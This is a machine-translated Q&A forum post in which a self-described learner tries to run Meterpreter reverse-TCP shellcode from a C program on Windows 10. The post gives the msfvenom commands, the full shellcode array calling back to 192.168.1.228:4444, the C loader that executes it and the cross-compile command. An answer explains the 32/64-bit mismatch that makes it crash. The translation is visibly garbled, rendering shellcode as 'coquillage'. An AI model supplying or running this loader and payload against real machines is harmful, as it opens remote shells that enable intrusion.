Ceci est évidemment à des fins éducatives. Je suis intéressé à en apprendre davantage sur les logiciels malveillants et comment cela fonctionne.
J'essaie d'obtenir un shell TCP inverse compteur de compteur fonctionnant sur Windows 10, mais il est plus important de l'exécuter comme shellcode à partir d'un programme C.
J'ai testé que mon shell d'inverse de Meterpreter fonctionne en générant une PE autonome avec:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.228 lport=4444 -f exe -o reverse_Shell.exe
Lorsque je l'exécute sur My Windows 10 VM, aucun problème, une session est ouverte.
Maintenant, ce que j'aimerais faire, exécute MSfvenom produit coquillée à partir d'un programme C.
Pour obtenir le coquillage, j'utilise:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.228 lport=4444 -f c
Ma source C ressemble à ceci:
#include <stdio.h>
#include <stdlib.h>
char shellcode[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\xe4\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
"\x53\xff\xd5";
int main (int argc, char **argv) {
int (*ret)() = (int(*)())shellcode;
ret();
}
Et je suis en croix de Kali Linux avec:
x86_64-w64-mingw32-gcc rev_Shell.c -o rev_Shell.exe
Exécuter sur mon Windows VM ne donne que de moi un crash sous la forme de: "Rev_Shell.exe a cessé de fonctionner"
Je suis assez nouveau à C et l'écosystème Windows, mais je suppose que ce type de comportement pourrait sembler malveillant. Windows éteint mon exécution? Quelque chose ne va pas avec mon coquille ou mon code C?
Comme mentionné dans les commentaires, vous avez quelques problèmes différents:
esp
au lieu de rsp
, etc. Vous devez utiliser le windows/x64/meterpreter/reverse_tcp
Charge utile à la place ou produisez un binaire 32 bits (qui fonctionnera bien sur un système Windows 64 bits, car ils ont une compatibilité à l'envers).